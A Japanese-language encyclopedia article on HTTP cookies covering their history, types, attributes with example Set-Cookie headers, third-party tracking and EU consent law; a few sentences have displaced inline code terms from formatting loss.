HTTP クッキー

HTTP クッキー(ウェブ クッキー、インターネット クッキー、ブラウザ クッキー、または単にクッキーとも呼ばれる) は、ユーザーがウェブサイトを閲覧しているときにウェブ サーバーによって作成され、ユーザーのウェブ ブラウザによってユーザーのコンピューターまたはその他のデバイスに配置される小さなデータブロックです。クッキーはウェブサイトへのアクセスに使用されるデバイスに配置され、セッション中に複数のクッキーがユーザーのデバイスに配置される場合があります。

クッキーはウェブ上で便利で、時には不可欠な機能を果たします。クッキーにより、ウェブサーバーはユーザーのデバイス上に状態情報（オンラインストアのショッピングカートに追加されたアイテムなど）を保存したり、ユーザーの閲覧アクティビティ（特定のボタンのクリック、ログイン、過去に訪問したページの記録など）を追跡したりすることができます。^[1]また、名前、住所、パスワード、支払いカード番号など、ユーザーが以前にフォームフィールドに入力した情報を保存して、後で使用できるようにするためにも使用できます。

認証クッキーは、ウェブサーバーがユーザーがログインしていること、およびどのアカウントでログインしているかを認証するためによく使用されます。クッキーがなければ、ユーザーはアクセスしたい機密情報を含むページごとにログインして認証する必要があります。認証クッキーのセキュリティは、一般的に、発行元ウェブサイトとユーザーのウェブブラウザのセキュリティ、およびクッキーデータが暗号化されているかどうかによって決まります。セキュリティ上の脆弱性により、クッキーのデータが攻撃者に読み取られたり、ユーザーデータにアクセスするために使用されたり、（ユーザーの認証情報を使用して）クッキーが属するウェブサイトにアクセスするために使用されたりする可能性があります（例については、クロスサイトスクリプティングとクロスサイトリクエストフォージェリを参照してください）。^[2]

トラッキングクッキー、特にサードパーティのトラッキングクッキーは、個人の閲覧履歴の長期記録をまとめる方法として一般的に使用されています。これはプライバシーに関する潜在的な懸念から、2011年に欧州^[3]および米国の立法者が行動を起こすきっかけとなりました。 ^{[4] [5]欧州の法律では、}欧州連合加盟国を対象とするすべてのウェブサイトは、ユーザーのデバイスに必須ではないクッキーを保存する前に、ユーザーから 「インフォームドコンセント」を得ることが義務付けられています。

クッキーという用語は、ウェブブラウザプログラマーのルー・モンチュリによって造られました。これは、プログラムが受信し、変更せずに送り返すデータパケットであるマジッククッキーという用語に由来しており、 Unixプログラマーによって使用されていました。^{[6] [7]}

マジッククッキーは、1994年6月にコンピュータプログラマーのルー・モンチュリがウェブ通信でそれを使用するというアイデアを思いついたときから、すでにコンピューティングで使用されていました。^[8]当時、彼はネットスケープコミュニケーションズの従業員で、同社はMCIの電子商取引アプリケーションを開発していました。ヴィント・サーフとジョン・クレンシンは、ネットスケープコミュニケーションズとの技術的な議論でMCIを代表しました。MCIは、サーバーが部分的なトランザクション状態を保持することを望まなかったため、代わりに各ユーザーのコンピューターにその状態を保存する方法を見つけるようにネットスケープに依頼しました。クッキーは、仮想ショッピングカートを確実に実装するという問題の解決策を提供しました。^{[9] [10]}

同年、モントゥリはジョン・ジャンナンドレアとともに、Netscape の最初の Cookie 仕様を作成した。1994年 10 月 13 日にリリースされたMosaic Netscapeのバージョン 0.9beta は、^{[11] [12]} Cookie をサポートした。^[10] Cookie の最初の使用法 (ラボ以外) は、Netscape の Web サイトの訪問者が既にサイトを訪問しているかどうかを確認することだった。モントゥリは 1995 年に Cookie 技術の特許を申請し、1998 年に認可された。^[13] Cookie のサポートは、1995 年 10 月にリリースされたバージョン 2 でInternet Explorerに統合された。 ^[14]

当時、クッキーの導入は一般に広く知られていませんでした。特に、クッキーはデフォルトで受け入れられ、ユーザーにはその存在が通知されませんでした。^[15]クッキーについて一般の人が知ったのは、 1996年2月12日にファイナンシャルタイムズがクッキーに関する記事を掲載した後のことでした。 ^[16]同年、クッキーは特にプライバシーへの影響の可能性から、メディアの注目を集めました。クッキーは、1996年と1997年の2回の米国連邦取引委員会の公聴会で議論されました。 ^[2]

正式なクッキー仕様の開発はすでに進行中でした。特に、正式な仕様についての最初の議論は、1995 年 4 月に www-talkメーリング リストで開始されました。インターネット技術タスク フォース(IETF)内に特別なワーキング グループが結成されました。HTTP トランザクションに状態を導入するための 2 つの代替案が、それぞれBrian Behlendorfと David Kristol によって提案されていました。しかし、Kristol 自身と Lou Montulli が率いるグループは、すぐに Netscape の仕様を出発点として使用することを決定しました。1996 年 2 月、ワーキング グループはサードパーティ クッキーがプライバシーに対する重大な脅威であると特定しました。グループによって作成された仕様は、最終的に 1997 年 2 月に RFC 2109 として公開されました。この仕様では、サードパーティ クッキーはまったく許可されないか、少なくともデフォルトでは有効にならないように指定されています。^[17]この時点で、広告会社はすでにサードパーティ クッキーを使用していました。RFC 2109 のサードパーティ クッキーに関する推奨事項は、Netscape と Internet Explorer では従われませんでした。 RFC 2109 は、2000 年 10 月に RFC 2965 に置き換えられました。

RFC 2965 ではSet-Cookie2 ヘッダーフィールドが追加され、非公式には「RFC 2965 スタイルの Cookie」と呼ばれるようになりましたSet-Cookie。これは、元のヘッダーフィールドが「Netscape スタイルの Cookie」と呼ばれていたこととは対照的です。 ^{[18] [19]} Set-Cookie2しかし、めったに使用されなかったため、2011 年 4 月に、実際の使用における Cookie の決定的な仕様として書かれた RFC 6265 で非推奨となりました。 ^[20]最近のブラウザーでは、このSet-Cookie2ヘッダーフィールドを認識しません。^[21]

セッションクッキー（インメモリクッキー、一時クッキー、非永続クッキーとも呼ばれる）は、ユーザーがウェブサイトを閲覧している間、一時的なメモリにのみ存在します。^[22] セッションクッキーは、ユーザーがウェブブラウザを閉じると期限切れになるか削除されます。^[23]セッションクッキーは、有効期限が割り当てられていないことでブラウザによって識別されます。

永続的な Cookie は、特定の日付または特定の期間が経過すると期限切れになります。作成者が設定した永続的な Cookie の有効期間中、ユーザーが Cookie が属する Web サイトにアクセスするたび、またはユーザーが別の Web サイトからその Web サイトに属するリソース (広告など) を表示するたびに、その情報がサーバーに送信されます。

このため、永続的クッキーはトラッキングクッキーと呼ばれることもあります^{[24] [25]。}これは、広告主が長期間にわたってユーザーのウェブ閲覧習慣に関する情報を記録するために使用できるためです。永続的クッキーは、ユーザーがウェブサイトのアカウントにログインしたままにして、訪問のたびにログイン情報を再入力するのを避けるなどの目的でも使用されます。(以下の「用途」を参照)

安全な Cookie は、暗号化された接続 ( HTTPSなど) でのみ送信できます。暗号化されていない接続 ( HTTPなど) では送信できません。これにより、Cookie が盗聴による盗難にさらされる可能性が低くなります。Cookie は、 SecureCookie にフラグを 追加することで安全になります。

httpのみのCookieは、 JavaScriptなどのクライアント側APIからはアクセスできません。この制限により、クロスサイトスクリプティング（XSS）によるCookie盗難の脅威が排除されます。^{[26]ただし、Cookieは}クロスサイトトレーシング（XST）攻撃やクロスサイトリクエストフォージェリ（CSRF）攻撃に対して脆弱なままです。Cookieにこの特性を持たせるには、HttpOnlyCookieにフラグを追加します。

2016 年にGoogle Chromeバージョン 51で、 、、のいずれかの値を持つ属性を持つ新しい種類の Cookie が導入されました^[27]。^[28]属性 を使用すると、ブラウザーは元のドメインと同じターゲット ドメインにのみ Cookie を送信します。これにより、クロスサイト リクエスト フォージェリ(CSRF) 攻撃を効果的に軽減できます。^[29]を使用すると、ブラウザーは元のドメインとは異なるターゲット ドメインへのリクエストとともに Cookie を送信しますが、GET などの安全なリクエスト (POST は安全ではありません) のみに送信され、サードパーティの Cookie (iframe 内) は送信されません。属性 を使用するとサードパーティの (クロスサイト) Cookie が許可されますが、ほとんどのブラウザーでは SameSite=None Cookie に secure 属性が必要です。^[30]SameSiteStrictLaxNoneSameSite=StrictSameSite=LaxSameSite=None

Same-site Cookieは、RFC 6265を更新するための新しいRFCドラフト「Cookie: HTTP状態管理メカニズム」^[31]に組み込まれます（承認された場合）。

Chrome、Firefox、EdgeはSame-site Cookieのサポートを開始しました。^[32]ロールアウトの鍵は、SameSite属性が定義されていない既存のCookieの扱いです。Chromeは、既存のCookieをSameSite = Noneとして扱っており、これにより、すべてのウェブサイト/アプリケーションが以前と同じように動作します。GoogleはSameSite=Lax、2020年2月にリリース予定のChrome 80でそのデフォルトを変更するつもりでした。^{[33]しかし、サードパーティ/クロスサイトCookieに依存するアプリケーション/ウェブサイトが破損する可能性があることと}COVID-19の状況のた​​め、Googleはこの変更をChrome 84に延期しました。^{[34] [35]}

スーパー Cookieは、トップレベル ドメイン( など.com) またはパブリック サフィックス ( など)を起源とする Cookie です.co.uk。対照的に、通常の Cookie は、 などの特定のドメイン名を起源としますexample.com。

スーパークッキーは潜在的なセキュリティ上の懸念となる可能性があるため、多くの場合、ウェブブラウザによってブロックされます。ブラウザによってブロックが解除されると、悪意のあるウェブサイトを制御する攻撃者がスーパークッキーを設定し、悪意のあるウェブサイトと同じトップレベルドメインまたはパブリックサフィックスを共有する別のウェブサイトへの正当なユーザーリクエストを妨害したり、なりすましたりする可能性があります。たとえば、オリジンが であるスーパークッキーは、クッキーが から発信されていない場合でも、.comへのリクエストに悪意を持って影響を与える可能性があります。これは、ログインを偽装したり、ユーザー情報を変更したりするために使用できます。 example.comexample.com

パブリックサフィックスリスト^[36]は、スーパークッキーがもたらすリスクを軽減するのに役立ちます。パブリックサフィックスリストは、ドメイン名サフィックスの正確で最新のリストを提供することを目的としたベンダー間の取り組みです。古いバージョンのブラウザには最新のリストがない場合があり、そのため特定のドメインからのスーパークッキーに対して脆弱になります。

スーパークッキーという用語は、HTTPクッキーに依存しない追跡技術に使用されることがあります。2011年8月、マイクロソフトのウェブサイトで、MUID（マシンユニーク識別子）クッキーを再生成するクッキー同期とETagクッキーという2つのスーパークッキーメカニズムが見つかりました。[ ^37]メディアの注目により、マイクロソフトは後にこのコードを無効にしました。^[38] 2021年のブログ投稿で、Mozillaは、サイト間でユーザーを追跡する手段としてブラウザキャッシュを使用することを指してスーパークッキーという用語を使用しました。[ 39 ^]

ゾンビクッキーとは、ウェブサーバーによって訪問者のコンピューターまたはその他のデバイス上の、訪問者のウェブブラウザの専用クッキー保存場所の外側の隠れた場所に配置されたデータとコードであり、元のクッキーが削除された後に、HTTPクッキーを通常のクッキーとして自動的に再作成します。ゾンビクッキーは、 Flashローカル共有オブジェクト、HTML5ウェブストレージ、その他のクライアント側およびサーバー側の場所など、複数の場所に保存される場合があり、いずれかの場所で欠落が検出されると、JavaScriptコードによって、他の場所に保存されているデータを使用して、欠落したインスタンスが再作成されます。^{[40] [41]}

クッキー ウォールは Web サイトにポップアップ表示され、ユーザーに Web サイトのクッキーの使用状況を通知します。拒否オプションはなく、追跡クッキーなしでは Web サイトにアクセスできません。

クッキーは以下の要素から構成されます: ^{[42] [43] [44]}

1. 名前
2. 価値
3. 0 個以上の属性 (名前/値のペア)。属性には、Cookie の有効期限、ドメイン、フラグ ( や など) などの情報が格納されSecureますHttpOnly。

クッキーはもともと、ユーザーがウェブサイト内を移動しながら購入したいアイテムを記録できる手段を提供するために導入されました（仮想ショッピングカートまたは買い物かご）。^{[9] [10]}しかし今日では、ユーザーのショッピングカートの内容は通常、クライアント上のクッキーではなく、サーバー上のデータベースに保存されます。どのユーザーがどのショッピングカートに割り当てられているかを追跡するために、サーバーは一意のセッション識別子（通常はランダムな文字と数字の長い文字列）を含むクッキーをクライアントに送信します。クッキーはクライアントが行うリクエストごとにサーバーに送信されるため、ユーザーがウェブサイトの新しいページにアクセスするたびにそのセッション識別子がサーバーに送り返され、サーバーはユーザーにどのショッピングカートを表示するかを知ることができます。

クッキーのもう 1 つの一般的な用途は、Web サイトにログインすることです。ユーザーが Web サイトのログイン ページにアクセスすると、Web サーバーは通常、一意のセッション ID を含むクッキーをクライアントに送信します。ユーザーが正常にログインすると、サーバーはその特定のセッション ID が認証されたことを記憶し、ユーザーにサービスへのアクセスを許可します。

セッション クッキーには一意のセッション識別子のみが含まれるため、Web サイトが各ユーザーについて保存できる個人情報の量は事実上無制限です。つまり、Web サイトはクッキーのサイズに関する制限を受けません。セッション クッキーに含まれる情報量が少なく、帯域幅をほとんど必要としないため、セッション クッキーはページの読み込み時間を短縮するのにも役立ちます。

クッキーは、時​​間の経過とともにそのユーザーに関連コンテンツを表示するために、ユーザーに関する情報を記憶するために使用できます。たとえば、Web サーバーは、Web サイトに最後にログインしたときに使用されたユーザー名を含むクッキーを送信し、ユーザーが次回ログインしたときに自動的に入力されるようにすることができます。

多くのウェブサイトは、ユーザーの好みに基づいてパーソナライズするためにクッキーを使用しています。ユーザーは、ウェブフォームに好みを入力し、そのフォームをサーバーに送信することで好みを選択します。サーバーは好みをクッキーにエンコードし、そのクッキーをブラウザーに送り返します。このようにして、ユーザーがウェブサイトのページにアクセスするたびに、サーバーはユーザーの好みに応じてページをパーソナライズできます。たとえば、Google検索エンジンはかつてクッキーを使用して、ユーザー (登録していないユーザーも含む) がページごとに表示する検索結果の数を決定できるようにしていました。また、DuckDuckGo はクッキーを使用して、ユーザーがウェブページの色などの表示設定を変更できるようにしています。

トラッキング クッキーは、ユーザーの Web 閲覧習慣を追跡するために使用されます。これは、ページを要求しているコンピューターのIP アドレスまたはHTTP要求ヘッダーのリファラーフィールドを使用してある程度実行することもできますが、クッキーを使用すると、より高い精度を実現できます。これは次のように実証できます。

1. ユーザーがサイトのページを要求したが、その要求に Cookie が含まれていない場合、サーバーはこれがユーザーが最初にアクセスしたページであると想定します。そのため、サーバーは一意の識別子 (通常はランダムな文字と数字の文字列) を作成し、要求されたページとともにそれを Cookie としてブラウザーに送り返します。
2. この時点から、サイトから新しいページが要求されるたびに、ブラウザからサーバーに Cookie が自動的に送信されます。サーバーは通常どおりページを送信するだけでなく、要求されたページの URL、要求の日時、および Cookie をログ ファイルに保存します。

このログ ファイルを分析することで、ユーザーがどのページをどのような順序でどのくらいの時間訪問したかを知ることができます。

企業はクッキーを追跡してユーザーのウェブ習慣を悪用し、購買習慣に関する情報を収集している。ウォールストリートジャーナルは、アメリカのトップ50のウェブサイトが平均64個の追跡技術をコンピュータにインストールし、合計3,180の追跡ファイルを作成していることを発見した。^[45]その後、収集されたデータは入札企業に販売される。

クッキーは任意のデータで、通常はウェブ サーバーによって選択され、最初に送信され、ウェブ ブラウザーによってクライアント コンピューターに保存されます。ブラウザーは、リクエストごとにクッキーをサーバーに送り返し、ステートレスなHTTPトランザクションにステート(以前のイベントのメモリ)を導入します。クッキーがなければ、ウェブ ページまたはウェブ ページのコンポーネントの各取得は、Web サイトでユーザーが行った他のすべてのページ ビューとはほとんど関係のない独立したイベントになります。クッキーは通常、ウェブ サーバーによって設定されますが、JavaScriptなどのスクリプト言語を使用してクライアントによって設定することもできます(クッキーのフラグが設定されている場合を除く。その場合、クッキーはスクリプト言語によって変更できません)。 HttpOnly

クッキー仕様^{[46] [47]}では、クッキーをサポートするためにブラウザが以下の要件を満たすことを要求しています。

• 最大 4,096バイトの Cookie をサポートできます。
• ドメインごとに（つまり、Web サイトごとに）少なくとも 50 個の Cookie をサポートできます。
• 合計で少なくとも 3,000 個の Cookie をサポートできます。

Set-Cookie Cookie は、Web サーバーからの HTTP 応答で送信されるヘッダー フィールドを使用して設定されます。このヘッダー フィールドは、Web ブラウザーに Cookie を保存し、今後の要求でサーバーに送り返すように指示します (ブラウザーが Cookie をサポートしていない場合、または Cookie を無効にしている場合、このヘッダー フィールドは無視されます)。

たとえば、ブラウザはwww.example.orgWeb サイトのホームページに対して最初の HTTP リクエストを送信します。

GET  /index.html  HTTP / 1.1
ホスト:  www.example.org 
...

サーバーは 2 つのSet-Cookieヘッダー フィールドで応答します。

HTTP / 1.0  200  OK
コンテンツタイプ:  text/html 
Cookie の設定:  theme=light 
Cookie の設定:  sessionToken=abc123; 有効期限=Wed, 09 Jun 2021 10:18:14 GMT 
...

サーバーの HTTP 応答には、Web サイトのホームページの内容が含まれています。ただし、ブラウザに 2 つの Cookie を設定するよう指示しています。1 つ目のtheme は、または属性がないため、セッション Cookieと見なされます。セッション Cookie は、ブラウザを閉じるときにブラウザによって削除されることを意図しています。2 つ目のsessionToken は、特定の日時に Cookie を削除するようブラウザに指示する属性 が含まれているため、永続的な Cookieと見なされます。ExpiresMax-AgeExpires

次に、ブラウザはspec.htmlウェブサイトのページにアクセスするための別のリクエストを送信します。このリクエストにはCookieヘッダー フィールドが含まれており、サーバーがブラウザに設定するように指示した 2 つの Cookie が含まれています。

GET  /spec.html  HTTP / 1.1
ホスト:  www.example.org 
Cookie :  theme=light; sessionToken=abc123 
…

こうすることで、サーバーはこの HTTP リクエストが前のリクエストに関連していることを認識します。サーバーは、リクエストされたページを送信することで応答します。Set-Cookieその際、ブラウザーに新しい Cookie の追加、既存の Cookie の変更、または既存の Cookie の削除を指示するために、HTTP 応答にさらにヘッダー フィールドを含めることもあります。Cookie を削除するには、サーバーはSet-Cookie過去の有効期限を含むヘッダー フィールドを含める必要があります。

クッキーの値は、 とおよび空白文字を除く、印刷可能なASCII文字 (!から~、Unicode \u0021から\u007E)で構成できます。クッキーの名前には、同じ文字のほか、 は含まれません。これは、 が名前と値の区切り文字であるためです。クッキー標準 RFC 2965 はより制限が厳しいですが、ブラウザでは実装されていません。 ,;=

クッキークラムという用語は、クッキーの名前と値のペアを指すために使用されることがあります。^[48]

クッキーは、ブラウザ内で実行されるJavaScriptなどのスクリプト言語によっても設定できます。JavaScriptでは、document.cookieこの目的にオブジェクトが使用されます。たとえば、命令は名前が温度で値が20document.cookie = "temperature=20"のクッキーを作成します。^[49]

名前と値に加えて、Cookie には 1 つ以上の属性も設定できます。ブラウザはサーバーへのリクエストに Cookie 属性を含めず、Cookie の名前と値のみを送信します。Cookie 属性は、Cookie を削除するタイミング、Cookie をブロックするタイミング、または Cookie をサーバーに送信するかどうかを決定するためにブラウザによって使用されます。

属性DomainとPath属性は、Cookie のスコープを定義します。基本的に、これらの属性は、Cookie がどの Web サイトに属しているかをブラウザに伝えます。セキュリティ上の理由から、Cookie は現在のリソースの最上位ドメインとそのサブドメインにのみ設定でき、別のドメインとそのサブドメインには設定できません。たとえば、Web サイトはexample.orgのドメインを持つ Cookie を設定することはできません。これは、Web サイトがドメイン の Cookie を制御foo.comできるようになるためです。 example.orgfoo.com

クッキーのDomainとPath属性がサーバーによって指定されていない場合、それらは要求されたリソースのドメインとパスにデフォルト設定されます。^[50]foo.comただし、ほとんどのブラウザでは、ドメインなしでから設定されたクッキーと、ドメインを使用して設定されたクッキーとの間に違いがありますfoo.com。前者の場合、クッキーは へのリクエストに対してのみ送信されfoo.com、ホストのみのクッキーとも呼ばれます。後者の場合、すべてのサブドメインも含まれます（たとえば、docs.foo.com）。^{[51] [52]}この一般的なルールの注目すべき例外は、Windows 10 RS3 より前の Edge と、IE 11 および Windows 10 RS4（2018 年 4 月）より前の Internet Explorer です。これらのブラウザでは、クッキーがドメイン付きで設定されたかどうかに関係なく、常にサブドメインにクッキーを送信します。^[53]

Set-Cookie以下は、ユーザーがログインした後の Web サイトの HTTP 応答のヘッダー フィールドの例です。HTTP 要求はdocs.foo.comサブドメイン内の Web ページに送信されました。

HTTP / 1.0  200  OK 
Set-Cookie :  LSID=DQAAAK…Eaem_vYg; パス=/accounts; 有効期限=Wed, 13 Jan 2021 22:23:01 GMT; セキュア; HttpOnly 
Set-Cookie :  HSID=AYQEVn…DKrdst; ドメイン=.foo.com; パス=/; 有効期限=Wed, 13 Jan 2021 22:23:01 GMT; HttpOnly 
Set-Cookie :  SSID=Ap4P…GTEq; ドメイン=foo.com; パス=/; 有効期限=Wed, 13 Jan 2021 22:23:01 GMT; セキュア; HttpOnly 
…

最初のクッキー には属性LSIDがなくDomain、 のPath属性は に設定されています/accounts。これは、 に含まれるページを要求するときのみにクッキーを使用するようにブラウザに指示しますdocs.foo.com/accounts(ドメインは要求ドメインから派生します)。他の 2 つのクッキーHSIDと は、ブラウザが任意のパス (たとえば)SSIDの のサブドメインを要求するときに使用されます。先頭のドットは最近の標準ではオプションですが、RFC 2109 ベースの実装との互換性のために追加できます。^[54].foo.comwww.foo.com/bar

このExpires属性は、ブラウザがクッキーを削除する特定の日時を定義します。日時は、形式Wdy, DD Mon YYYY HH:MM:SS GMT、またはYYの値の形式で指定されますWdy, DD Mon YY HH:MM:SS GMT。ここで、YYは0以上69以下です。^[55]

あるいは、このMax-Age属性を使用して、ブラウザが Cookie を受信した時刻を基準として、将来の秒数間隔で Cookie の有効期限を設定することもできます。以下は、Set-Cookieユーザーがログインした後に Web サイトから受信した 3 つのヘッダー フィールドの例です。

HTTP / 1.0  200  OK 
Set-Cookie :  lu=Rg3vHJZnehYLjVg7qi3bZjzg; 有効期限=Tue, 15 Jan 2013 21:47:38 GMT; パス=/; ドメイン=.example.com; HttpOnly 
Set-Cookie :  made_write_conn=1295214458; パス=/; ドメイン=.example.com 
Set-Cookie :  reg_fb_gate=deleted; 有効期限=Thu, 01 Jan 1970 00:00:01 GMT; パス=/; ドメイン=.example.com; HttpOnly

最初の Cookie はlu、2013 年 1 月 15 日に期限切れになるように設定されています。期限切れになるまで、クライアント ブラウザによって使用されます。2 番目の Cookie にはmade_write_conn有効期限がないため、セッション Cookie になります。ユーザーがブラウザを閉じると、この Cookie は削除されます。3 番目の Cookie は、値が削除済みreg_fb_gateに変更され、有効期限が過去になっています。有効期限が過去になっているため、ブラウザはこの Cookie をすぐに削除します。Cookie は、フィールドのドメイン属性とパス属性が、Cookie の作成時に使用された値と一致する場合にのみ削除されることに注意してください。 Set-Cookie

2016年現在、^{[アップデート]}Internet ExplorerはサポートしていないMax-Age。^{[56] [57]}

および属性にSecureはHttpOnly関連する値がありません。属性名のみが存在する場合、その動作を有効にする必要があることを示します。

このSecure属性は、クッキー通信を暗号化された送信に限定し、ブラウザがクッキーをセキュア/暗号化された接続経由でのみ使用するように指示することを目的としています。ただし、Web サーバーがセキュアでない接続から secure 属性を持つクッキーを設定した場合、そのクッキーはユーザーに送信されるときに中間者攻撃によって傍受される可能性があります。したがって、セキュリティを最大限に高めるには、Secure 属性を持つクッキーはセキュアな接続経由でのみ設定する必要があります。

このHttpOnly属性は、ブラウザに対して、HTTP（およびHTTPS）リクエスト以外のチャネルを通じてクッキーを公開しないように指示します。つまり、クッキーはクライアント側のスクリプト言語（特にJavaScript）を介してアクセスすることができず、したがってクロスサイトスクリプティング（広範囲にわたる攻撃手法）を介して簡単に盗まれることはありません。^[58]

最近のブラウザのほとんどはクッキーをサポートしており、ユーザーはクッキーを無効にすることができます。一般的なオプションは次のとおりです。^[59]

• クッキーを完全に有効または無効にして、常に受け入れられるか常にブロックされるようにします。
• クッキー マネージャーを使用してクッキーを表示し、選択的に削除します。
• クッキーを含むすべての個人データを完全に消去します。

クッキーの許可を管理するためのアドオンツールも存在する。^{[60] [61] [62] [63]}

クッキーは、ウェブ ユーザーのプライバシーと匿名性に重要な意味を持ちます。クッキーは、クッキーを設定したサーバーまたは同じインターネット ドメイン内のサーバーにのみ送信されますが、ウェブ ページには、他のドメインのサーバーに保存されている画像やその他のコンポーネントが含まれる場合があります。これらのコンポーネントの取得中に設定されるクッキーは、サードパーティ クッキーと呼ばれます。サードパーティ クッキーは、アドレス バーに表示されるドメインとは異なるドメインに属します。この種類のクッキーは通常、ウェブ ページにバナー広告などの外部 Web サイトのコンテンツが掲載されている場合に表示されます。これにより、ユーザーの閲覧履歴を追跡できる可能性があり、広告主はこれを使用して各ユーザーに関連性の高い広告を配信します。

たとえば、ユーザーが にアクセスするとしますwww.example.org。この Web サイトには からの広告が含まれておりad.foxytracking.com、ダウンロードされると、広告のドメイン ( ad.foxytracking.com) に属する Cookie が設定されます。次に、ユーザーが別の Web サイト にアクセスすると、この Web サイトwww.foo.comにも からの広告が含まれておりad.foxytracking.com、そのドメイン ( ) に属する Cookie が設定されます。最終的には、広告の読み込み時や Web サイトへのアクセス時に、これらの Cookie の両方が広告主に送信されます。広告主は、 HTTP リファラーad.foxytracking.comヘッダー フィールドを使用して、これらの Cookie を使用し、この広告主の広告が掲載されているすべての Web サイトでのユーザーの閲覧履歴を構築できます。

2014年の時点で^{[アップデート]}、一部のウェブサイトは100を超えるサードパーティドメインに読み取り可能なクッキーを設定していました。^[64]平均すると、1つのウェブサイトは10個のクッキーを設定しており、最大クッキー数（ファーストパーティとサードパーティ）は800個を超えています。^[65]

クッキーの古い標準規格であるRFC 2109 ^[17]とRFC 2965では、ブラウザはユーザーのプライバシーを保護し、デフォルトではサーバー間でのクッキーの共有を許可しないことを推奨している。しかし、新しい標準規格であるRFC 6265では、ユーザーエージェントが希望するサードパーティのクッキーポリシーを実装することを明示的に許可している。最近のウェブブラウザのほとんどには、サードパーティのクッキーをブロックできるプライバシー設定が含まれている。2020年以降、Apple Safari [66]、Firefox [67]、Brave [ 68 ]は^{デフォルト}ですべて^のサードパーティ^のクッキーをブロックしている。Safariでは、埋め込まれたサイトがストレージアクセスAPIを使用してファーストパーティのクッキーを設定する許可を要求できる。2020年5月、Google Chrome 83は、プライベートブラウジングのシークレットモードでサードパーティのクッキーをデフォルトでブロックする新機能を導入し、通常のブラウジング中にブロックするかどうかをオプションにしました。^[69] 2024年4月、ChromeはデフォルトでのサードパーティCookieのブロックを2025年に延期しました。 ^[70] 2024年7月、GoogleはデフォルトでサードパーティCookieをブロックすることを避け、代わりにユーザーにサードパーティCookieを許可するよう促す計画を発表しました。^[71]

ユーザーのプロファイルが作成される可能性は、特にサードパーティの Cookie を使用して複数のドメインにまたがって追跡が行われる場合、プライバシーの脅威となります。このため、一部の国では Cookie に関する法律が制定されています。

サードパーティのCookieの使用を消費者に開示しないウェブサイト運営者は、Cookieの使用が発覚した場合、消費者の信頼を損なうリスクがあります。プライバシーポリシーなどで明確に開示することで、そのようなCookieの発覚による悪影響を排除できます。^{[72] [検証失敗]}

米国政府は、ホワイトハウスの麻薬政策局がオンラインの反麻薬広告を閲覧するコンピュータユーザーを追跡するためにクッキーを使用していたことが明らかになった後、2000年にクッキーの設定に関する厳格な規則を制定しました。2002年、プライバシー活動家のダニエル・ブラントは、CIAがウェブサイトを訪問したコンピュータに永続的なクッキーを残していたことを発見しました。ポリシーに違反しているとの通知を受けたCIAは、これらのクッキーは意図的に設定されたものではないと述べ、設定を停止しました。2005年12月25日、ブラントは、国家安全保障局（NSA）がソフトウェアのアップグレードのために訪問者のコンピュータに2つの永続的なクッキーを残していたことを発見しました。通知を受けたNSAは、すぐにクッキーを無効にしました。^[73]

2002年、欧州連合はプライバシーと電子通信に関する指令（eプライバシー指令）を発足させた。これは、ユーザーの機器に情報を保存し、アクセスするためのクッキーや類似の技術の設置について、エンドユーザーの同意を求める政策である。^{[74] [75]}特に、第5条第3項は、技術的に不要なデータをユーザーのコンピューターに保存する場合は、そのデータの使用方法に関する情報をユーザーに提供し、ユーザーがこの保存操作を拒否できる場合にのみ許可することを義務付けている。指令では、設定の保持、ログインセッションの保存、ユーザーの買い物かごの中身の記憶など、ユーザーが要求したサービスを提供するために機能的に必要なクッキーの使用をユーザーに許可したり、通知したりすることを要求していない。^[76]

2009年に、この法律は指令2009/136/ECによって改正され、第5条第3項が変更されました。ユーザーがクッキーの保存をオプトアウトするオプションを設ける代わりに、改訂された指令では、クッキーの保存について同意を得ることが義務付けられています。^{[75]同意の定義は、欧州データ保護法、まず1995年データ保護指令、次に}一般データ保護規則（GDPR）の定義と相互参照されています。GDPRのテキストで同意の定義が強化されたため、ユーザーのデバイスにクッキーなどの情報を保存およびアクセスする者によって要求される同意の質が向上するという効果がありました。しかし、データ保護指令に基づいて判決が下された事件で、欧州連合司法裁判所は後に、以前の法律は現在の法律と同じ強い同意の質を暗示していたことを確認しました。^[77]ユーザーの端末デバイスに情報を保存したりアクセスしたりすることから生じる同意の要件に加えて、多くのクッキー内の情報はGDPRのみで個人データとみなされ、処理するには法的根拠が必要になります。これは、1995年のデータ保護指令以来のケースであり、個人データの同一の定義が使用されていましたが、GDPRの解釈上の前文30ではクッキー識別子が含まれることが明確にされています。GDPRに基づくすべてのデータ処理に同意が必要なわけではありませんが、行動ターゲティング広告の特性上、他の根拠で正当化することは困難または不可能です。^{[78] [79]}

GDPRとeプライバシー指令の組み合わせによる同意は、クッキーに関していくつかの条件を満たす必要がある。^{[80]同意は自由に与えられ、曖昧さがないものであることが必要である。1995年データ保護指令[77]}とGDPR（前文32）の両方で、事前にチェックされたボックスは禁止されていた。 ^[81] GDPRは、同意は「与えるのと同じくらい撤回も容易」でなければならないと明確に規定しており、^[81]つまり、すべて拒否ボタンは、「すべて承認」ボタンと同じくらいクリックと可視性に関してアクセスが容易でなければならない。^[80]同意は具体的で十分な情報に基づくものでなければならない。つまり、同意はこのデータの使用目的に関連し、この同意を利用するすべての組織が具体的に名前を挙げられなければならない。^{[82] [83]}欧州連合司法裁判所はまた、同意は「効率的かつタイムリー」でなければならないと裁定しており、つまり、クッキーが配置され、データ処理が開始される前に取得されなければならない。後から取得してはならない。^[84]

業界の反応は概して否定的である。法律事務所スピーチリー・バーチャムのロバート・ボンドは、その影響は「すべての英国企業」にとって「広範囲に及び、信じられないほど厄介」であると述べた。プライバシー・インターナショナルのサイモン・デイビスは、適切な施行は「業界全体を破壊する」と主張している。^[85]しかし、学者は、クッキーポップアップの厄介な性質は、GDPRと互換性がない可能性のある複雑な要求を通じてビジネスモデルを運営し続けようとする試みから生じていると指摘している。^[78]

